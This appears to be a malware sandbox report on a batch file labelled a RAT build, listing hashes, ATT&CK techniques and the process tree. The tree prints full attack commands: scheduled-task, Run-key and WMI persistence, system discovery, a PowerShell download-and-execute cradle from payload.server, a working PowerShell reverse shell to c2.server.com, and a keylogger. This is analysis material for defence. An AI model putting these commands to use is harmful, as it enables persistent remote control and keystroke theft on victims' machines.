c20a258fcdd5e58d8a0f14425329cb8339a6f1cf38306e25d0cafccdcf913b2e

Analysis

max time kernel
149s
max time network
151s
platform
windows10-2004_x64
resource
win10v2004-20260513-en
resource tags

arch:x64arch:x86image:win10v2004-20260513-enlocale:en-usos:windows10-2004-x64systemwindows
submitted
29/05/2026, 22:08

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General

Target
rat_build_58909_014224.bat
Size 4KB
Sample260529-12c4csay2j
SHA256 c20a258fcdd5e58d8a0f14425329cb8339a6f1cf38306e25d0cafccdcf913b2e
MD5 01186aadf6f2fb3a00ef45c2198ae198
SHA1 655bbb46731ee7f70f9c3571e9355b0b94ef7d01
SHA512 7f4995583213a89eabcc48f4223545d1d24317c8382a9d773f4813c71df965286cc1491225cddf7ab9810df5be68374be29f845e0c0769dbc7aa0295f2c57259
SSDEEP 96:ePIf5Wf8hQr7z1ypaH9sOTwDkim5gdjbiFgZk8mvlo1Ipex:ePtf8hOzcaGOYm5QiFgkHlxpW
TLSH
T14EB1F827279B6260C0B0122EDD3338486B5CD5FB1341DE8EBA49CDD41E4CE47AA6D6E7
MD5 SHA1 SHA512 SSDEEP TLSH

Score

10^/10

execution persistence

Malware Config

Extracted

Language

Deobfuscated

Source

URLs

ps1.dropper
http://payload.server/update_58909.ps1

Signatures

Command and Scripting Interpreter: PowerShell 1 TTPs 3 IoCs

Using powershell.exe command.

execution

PowerShell

T1059.001

pid	Process
5016	powershell.exe
2616	powershell.exe
1948	powershell.exe

Adds Run key to start application 2 TTPs 1 IoCs

persistence

Registry Run Keys / Startup Folder

T1547.001

Modify Registry

T1112

description	ioc	Process
Set value (str)	\REGISTRY\USER\S-1-5-21-1788976790-1541110888-1636651838-1000\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\Updater_58909 = "C:\\Users\\Admin\\AppData\\Local\\Temp\\_58909.bat"	reg.exe

Looks up external IP address via web service 1 IoCs

Uses a legitimate IP lookup service to find the infected system's external IP.

flow	ioc
3	checkip.amazonaws.com

Gathers network information 2 TTPs 1 IoCs

Uses commandline utility to view network configuration.

System Information Discovery

T1082

Command and Scripting Interpreter

T1059

pid	Process
1372	NETSTAT.EXE

Gathers system information 1 TTPs 1 IoCs

Runs systeminfo.exe.

System Information Discovery

T1082

pid	Process
4384	systeminfo.exe

Modifies registry key 1 TTPs 1 IoCs

Modify Registry

T1112

pid	Process
4700	reg.exe

Scheduled Task/Job: Scheduled Task 1 TTPs 1 IoCs

Schtasks is often used by malware for persistence or to perform post-infection execution.

persistence execution

Scheduled Task

T1053.005

pid	Process
2552	schtasks.exe

Suspicious behavior: EnumeratesProcesses 6 IoCs

pid	Process
5016	powershell.exe
5016	powershell.exe
2616	powershell.exe
2616	powershell.exe
1948	powershell.exe
1948	powershell.exe

Suspicious use of AdjustPrivilegeToken 64 IoCs

description	pid	Process
Token: SeIncreaseQuotaPrivilege	3116	WMIC.exe
Token: SeSecurityPrivilege	3116	WMIC.exe
Token: SeTakeOwnershipPrivilege	3116	WMIC.exe
Token: SeLoadDriverPrivilege	3116	WMIC.exe
Token: SeSystemProfilePrivilege	3116	WMIC.exe
Token: SeSystemtimePrivilege	3116	WMIC.exe
Token: SeProfSingleProcessPrivilege	3116	WMIC.exe
Token: SeIncBasePriorityPrivilege	3116	WMIC.exe
Token: SeCreatePagefilePrivilege	3116	WMIC.exe
Token: SeBackupPrivilege	3116	WMIC.exe
Token: SeRestorePrivilege	3116	WMIC.exe
Token: SeShutdownPrivilege	3116	WMIC.exe
Token: SeDebugPrivilege	3116	WMIC.exe
Token: SeSystemEnvironmentPrivilege	3116	WMIC.exe
Token: SeRemoteShutdownPrivilege	3116	WMIC.exe
Token: SeUndockPrivilege	3116	WMIC.exe
Token: SeManageVolumePrivilege	3116	WMIC.exe
Token: 33	3116	WMIC.exe
Token: 34	3116	WMIC.exe
Token: 35	3116	WMIC.exe
Token: 36	3116	WMIC.exe
Token: SeIncreaseQuotaPrivilege	3116	WMIC.exe
Token: SeSecurityPrivilege	3116	WMIC.exe
Token: SeTakeOwnershipPrivilege	3116	WMIC.exe
Token: SeLoadDriverPrivilege	3116	WMIC.exe
Token: SeSystemProfilePrivilege	3116	WMIC.exe
Token: SeSystemtimePrivilege	3116	WMIC.exe
Token: SeProfSingleProcessPrivilege	3116	WMIC.exe
Token: SeIncBasePriorityPrivilege	3116	WMIC.exe
Token: SeCreatePagefilePrivilege	3116	WMIC.exe
Token: SeBackupPrivilege	3116	WMIC.exe
Token: SeRestorePrivilege	3116	WMIC.exe
Token: SeShutdownPrivilege	3116	WMIC.exe
Token: SeDebugPrivilege	3116	WMIC.exe
Token: SeSystemEnvironmentPrivilege	3116	WMIC.exe
Token: SeRemoteShutdownPrivilege	3116	WMIC.exe
Token: SeUndockPrivilege	3116	WMIC.exe
Token: SeManageVolumePrivilege	3116	WMIC.exe
Token: 33	3116	WMIC.exe
Token: 34	3116	WMIC.exe
Token: 35	3116	WMIC.exe
Token: 36	3116	WMIC.exe
Token: SeIncreaseQuotaPrivilege	4828	WMIC.exe
Token: SeSecurityPrivilege	4828	WMIC.exe
Token: SeTakeOwnershipPrivilege	4828	WMIC.exe
Token: SeLoadDriverPrivilege	4828	WMIC.exe
Token: SeSystemProfilePrivilege	4828	WMIC.exe
Token: SeSystemtimePrivilege	4828	WMIC.exe
Token: SeProfSingleProcessPrivilege	4828	WMIC.exe
Token: SeIncBasePriorityPrivilege	4828	WMIC.exe
Token: SeCreatePagefilePrivilege	4828	WMIC.exe
Token: SeBackupPrivilege	4828	WMIC.exe
Token: SeRestorePrivilege	4828	WMIC.exe
Token: SeShutdownPrivilege	4828	WMIC.exe
Token: SeDebugPrivilege	4828	WMIC.exe
Token: SeSystemEnvironmentPrivilege	4828	WMIC.exe
Token: SeRemoteShutdownPrivilege	4828	WMIC.exe
Token: SeUndockPrivilege	4828	WMIC.exe
Token: SeManageVolumePrivilege	4828	WMIC.exe
Token: 33	4828	WMIC.exe
Token: 34	4828	WMIC.exe
Token: 35	4828	WMIC.exe
Token: 36	4828	WMIC.exe
Token: SeIncreaseQuotaPrivilege	4828	WMIC.exe

Suspicious use of WriteProcessMemory 10 IoCs

description	pid	Process	procid_target
PID 4668 wrote to memory of 2552	4668	cmd.exe	85
PID 4668 wrote to memory of 4700	4668	cmd.exe	86
PID 4668 wrote to memory of 3116	4668	cmd.exe	87
PID 4668 wrote to memory of 4828	4668	cmd.exe	88
PID 4668 wrote to memory of 2144	4668	cmd.exe	89
PID 4668 wrote to memory of 4384	4668	cmd.exe	92
PID 4668 wrote to memory of 1372	4668	cmd.exe	98
PID 4668 wrote to memory of 5016	4668	cmd.exe	99
PID 4668 wrote to memory of 2616	4668	cmd.exe	100
PID 4668 wrote to memory of 1948	4668	cmd.exe	101

Uses Task Scheduler COM API 1 TTPs
The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.
persistence

Query Registry
T1012

C:\Windows\system32\cmd.exe
C:\Windows\system32\cmd.exe /c "C:\Users\Admin\AppData\Local\Temp\rat_build_58909_014224.bat"
1⤵
- Suspicious use of WriteProcessMemory
PID:4668
- C:\Windows\system32\schtasks.exe
  schtasks /create /tn "WinUpdate_58909" /tr "C:\Users\Admin\AppData\Local\Temp\_58909.bat" /sc onlogon /ru "SYSTEM" /f
  2⤵
  - Scheduled Task/Job: Scheduled Task
  PID:2552
- C:\Windows\system32\reg.exe
  reg add HKCU\Software\Microsoft\Windows\CurrentVersion\Run /v "Updater_58909" /t REG_SZ /d "C:\Users\Admin\AppData\Local\Temp\_58909.bat" /f
  2⤵
  - Adds Run key to start application
  - Modifies registry key
  PID:4700
- C:\Windows\System32\Wbem\WMIC.exe
  wmic /NAMESPACE:"\\root\subscription" PATH __EventFilter CREATE Name="filt_58909", EventNameSpace="root\cimv2", QueryLanguage="WQL", Query="SELECT * FROM Win32_ProcessStartTrace WHERE ProcessName='explorer.exe'"
  2⤵
  - Suspicious use of AdjustPrivilegeToken
  PID:3116
- C:\Windows\System32\Wbem\WMIC.exe
  wmic /NAMESPACE:"\\root\subscription" PATH CommandLineEventConsumer CREATE Name="cons_58909", CommandLineTemplate="cmd /c C:\Users\Admin\AppData\Local\Temp\_58909.bat"
  2⤵
  - Suspicious use of AdjustPrivilegeToken
  PID:4828
- C:\Windows\system32\curl.exe
  curl -s http://checkip.amazonaws.com -o C:\Users\Admin\AppData\Local\Temp\ip_58909.txt
  2⤵
  PID:2144
- C:\Windows\system32\systeminfo.exe
  systeminfo
  2⤵
  - Gathers system information
  PID:4384
- C:\Windows\system32\NETSTAT.EXE
  netstat -an
  2⤵
  - Gathers network information
  PID:1372
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  powershell -Command "IEX((New-Object Net.WebClient).DownloadString('http://payload.server/update_58909.ps1'))"
  2⤵
  - Command and Scripting Interpreter: PowerShell
  - Suspicious behavior: EnumeratesProcesses
  PID:5016
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  powershell -Command "$client = New-Object System.Net.Sockets.TCPClient('c2.server.com',443);$stream = $client.GetStream();[byte[]]$bytes = 0..65535|%{0};while(($i = $stream.Read($bytes, 0, $bytes.Length)) -ne 0){$data = (New-Object -TypeName System.Text.ASCIIEncoding).GetString($bytes,0,$i);$sendback = (iex $data 2>&1 | Out-String );$sendback2 = $sendback + 'PS ' + (pwd).Path + '> ';$sendbyte = ([text.encoding]::ASCII).GetBytes($sendback2);$stream.Write($sendbyte,0,$sendbyte.Length);$stream.Flush()};$client.Close()"
  2⤵
  - Command and Scripting Interpreter: PowerShell
  - Suspicious behavior: EnumeratesProcesses
  PID:2616
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  powershell -Command "$w=(New-Object -ComObject WScript.Shell).Popup("Updating...",0,"Windows",0+48);$k=New-Object -ComObject WScript.Shell;$k.Run("powershell -WindowStyle Hidden -Command "$d=[Environment]::GetFolderPath('Desktop');$i=0;while($true){$key=[Console]::ReadKey($true);$t=$key.Key.ToString();if($t -eq 'Enter'){$t='[ENTER]'};Add-Content -Path $d\log.txt -Value $t}"),0,true"
  2⤵
  - Command and Scripting Interpreter: PowerShell
  - Suspicious behavior: EnumeratesProcesses
  PID:1948

Network

MITRE ATT&CK Enterprise v16

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

PowerShell

T1059.001

Scheduled Task/Job

T1053

Scheduled Task

T1053.005

Persistence

Boot or Logon Autostart Execution

T1547

Registry Run Keys / Startup Folder

T1547.001

Scheduled Task/Job

T1053

Scheduled Task

T1053.005

Privilege Escalation

Boot or Logon Autostart Execution

T1547

Registry Run Keys / Startup Folder

T1547.001

Scheduled Task/Job

T1053

Scheduled Task

T1053.005

Defense Evasion

Modify Registry

T1112

Credential Access

Discovery

Query Registry

T1012

System Information Discovery

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

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Downloads

powershell.exe.log

Path C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\powershell.exe.log
Size 2KB
SHA256 3b0068d29ae4b20c447227fbf410aa2deedfef6220ccc3f698f3c7707c032c55
MD5 2f57fde6b33e89a63cf0dfdd6e60a351
SHA1 445bf1b07223a04f8a159581a3d37d630273010f
SHA512 42857c5f111bfa163e9f4ea6b81a42233d0bbb0836ecc703ce7e8011b6f8a8eca761f39adc3ed026c9a2f99206d88bab9bddb42da9113e478a31a6382af5c220
TLSH
T15F51EE323375B1D8C9167F071E68198053BF4355EAA4AF1CB69C625EDD2640B9F222F3
MD5 SHA1 SHA512 TLSH

Submit Download

StartupProfileData-NonInteractive

Path C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
Size 1KB
SHA256 9ab702941a8d147e1149cafeb42b23285c617e1ae13582806c4b747efd765e98
MD5 bf4d1cd2aeb88ea105511257d009588f
SHA1 5f045366f7e6d6d7e8c50b28277fa01f12475e74
SHA512 de36b15384d7760f130bf61d185fa6b392d69dcea0b0e56dd8b5ef7f7f0173fbb0a2f2445c3fd77985a49fb0b8f79d87a76167c800c3cc0acec7b6a8357d7c4b
TLSH
T17F115327B39C8921CC96153A409DAC1172B683DB81AEDE9F6FC4D214A0BF984CB612A4
MD5 SHA1 SHA512 TLSH

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StartupProfileData-NonInteractive

Path C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
Size 1KB
SHA256 9c7d4c8c4eaf892b5d145729abc250758715a6d421cfb6eb889574b2d539bcdf
MD5 41d4ca6ccc49209ee1c700ae2e48a031
SHA1 4ad9c670b1f1512ea6d39d26a338d1bc0ea2bf5b
SHA512 8375dd343cd980de0e96a82c1d48d9d7bcb0c7a1aa92965c36a5fa51e5633e90b5ae31efcd44d19db94fd8318215e1223c664875e64f4d30aae038d2205fd359
TLSH
T136115727B39C89A1CC96163A409D9C1172B683D7419EDEDF6BC0D214A17F584CB71190
MD5 SHA1 SHA512 TLSH

Submit Download

__PSScriptPolicyTest_0sx4o5ee.ws2.ps1

Path C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_0sx4o5ee.ws2.ps1
Size 60B
SHA256 96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7
MD5 d17fe0a3f47be24a6453e9ef58c94641
SHA1 6ab83620379fc69f80c0242105ddffd7d98d5d9d
SHA512 5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82
TLSH
T177A02228CC303B200020C0080A000002C00B800C080C8C0220000A00B20B820002F080
MD5 SHA1 SHA512 TLSH

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memory/5016-3-0x000002287EBA0000-0x000002287EBC2000-memory.dmp

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